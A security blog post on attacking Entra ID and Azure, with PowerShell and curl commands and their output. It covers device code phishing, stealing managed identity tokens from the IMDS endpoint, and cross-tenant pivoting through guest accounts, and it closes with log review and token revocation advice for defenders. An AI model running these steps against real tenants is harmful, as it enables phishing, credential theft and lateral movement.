In early 2026, a financial services firm discovered an adversary had maintained persistent access to their Azure tenant for 11 weeks — never touching a password, never triggering MFA. They abused a refresh token stolen via a device code phishing campaign, a technique that has quietly become the default initial access method against Entra ID environments. If your red team isn't simulating this, your blue team isn't ready for it.
Device Code Phishing: Still the Easiest Way In
Device code phishing tricks a user into authenticating on behalf of an attacker-controlled OAuth flow. The attacker generates a device code, sends the user a link, and waits. No malicious attachment. No exploit. Just a legitimate Microsoft login page doing exactly what it's designed to do.
TokenTactics v2 — a PowerShell toolkit for Entra ID token manipulation — makes this trivial to simulate.
# Step 1: Generate a device code targeting the Microsoft Graph API
Invoke-DeviceCodeFlow -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com"
# Output:
# user_code : HXKP9-DRTM2
# device_code : AQABAAEAAAAmoFfGtYxvRIa...
# verification_uri : https://microsoft.com/devicelogin
# expires_in : 900
# message : To sign in, use a web browser to open https://microsoft.com/devicelogin
# and enter the code HXKP9-DRTM2 to authenticate.
# Step 2: Poll for the token once the victim authenticates
Get-AzureTokenFromDeviceCode -DeviceCode "AQABAAEAAAAmoFfGtYxvRIa..."
Once the target user — say, jmartin@contoso.com — enters that code and signs in, you receive a full OAuth token set: access token, refresh token, and an ID token. The refresh token is the prize. It can persist for up to 90 days and silently mint new access tokens without re-authentication.
What you do next depends on jmartin's role. Dump their group memberships immediately with GET /v1.0/me/memberOf via Graph. If they're in a privileged group — Global Reader, Exchange Admin, or anything touching Conditional Access — you have a foothold worth expanding.
Abusing Managed Identities and Workload Credentials
Once inside a tenant, the 2026 attacker isn't looking for user accounts. They're hunting managed identities and service principals with over-permissioned roles. These don't have passwords to rotate and often have API permissions that dwarf any human user in the environment.
From a compromised Azure VM at 192.0.2.47 running as a dev workload, query the IMDS endpoint to grab the managed identity token:
# Run from inside the target VM (192.0.2.47)
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2021-02-01&resource=https://management.azure.com/" | python3 -m json.tool
# Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...",
"client_id": "b7e42f3a-91cc-4d0e-bd6e-1f2c3e8a9d00",
"expires_in": "86313",
"expires_on": "1789012345",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
# Now use it to enumerate the subscription
curl -s -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6..." \
"https://management.azure.com/subscriptions?api-version=2022-12-01" | python3 -m json.tool
That access token belongs to the VM's managed identity. If the identity has Contributor or Owner on a subscription — extremely common in dev environments — you can read Key Vaults, spin up resources, or pivot to other services. Run az role assignment list --assignee b7e42f3a-91cc-4d0e-bd6e-1f2c3e8a9d00 to see exactly what you've inherited.
The key post-exploitation move here: check if this identity has Microsoft.Authorization/roleAssignments/write. If it does, you can grant yourself persistent access at the control-plane level without touching a user account.
Cross-Tenant Pivoting via B2B Guest Abuse
This is 2026's sleeper technique. Large enterprises frequently invite partner organizations as B2B guest users, and those guests often carry permissions that were set permissively years ago and never reviewed. A compromised guest account in Tenant A can be a full pivot into Tenant B.
After obtaining a token for vendor-contractor@partnerco.com — a guest in contoso.com — enumerate what tenants that identity has access to:
# Using AADInternals to list accessible tenants
Import-Module AADInternals
$token = Get-AADIntAccessTokenForMSGraph -Credentials (Get-Credential)
Get-AADIntTenants -AccessToken $token
# Output:
# TenantId DisplayName Domain
# -------- ----------- ------
# f47ac10b-58cc-4372-a567-0e02b2c3d479 Contoso Corp contoso.com
# 9a8b7c6d-5e4f-3a2b-1c0d-ef1234567890 Northwind Partners northwind.com
# 3d2c1b0a-9f8e-7d6c-5b4a-321098765432 Alpine Suppliers alpine-sup.com
Three tenants. One stolen token. Each entry is a potential lateral movement path. Focus on tenants where the guest was added to SharePoint site collections or Teams channels — those permissions translate directly to data access and further reconnaissance without any additional authentication.
What To Do Now
Pull your Entra ID sign-in logs filtered for device code flow authentications from the past 30 days. In the Azure Portal, go to Entra ID > Monitoring > Sign-in logs, filter by Authentication Protocol: Device Code, and look for any sign-ins from unfamiliar locations or user agents. If you find entries you can't explain, revoke the associated refresh tokens immediately with Revoke-AzureADUserAllRefreshToken and start tracing what Graph API calls followed that authentication event.
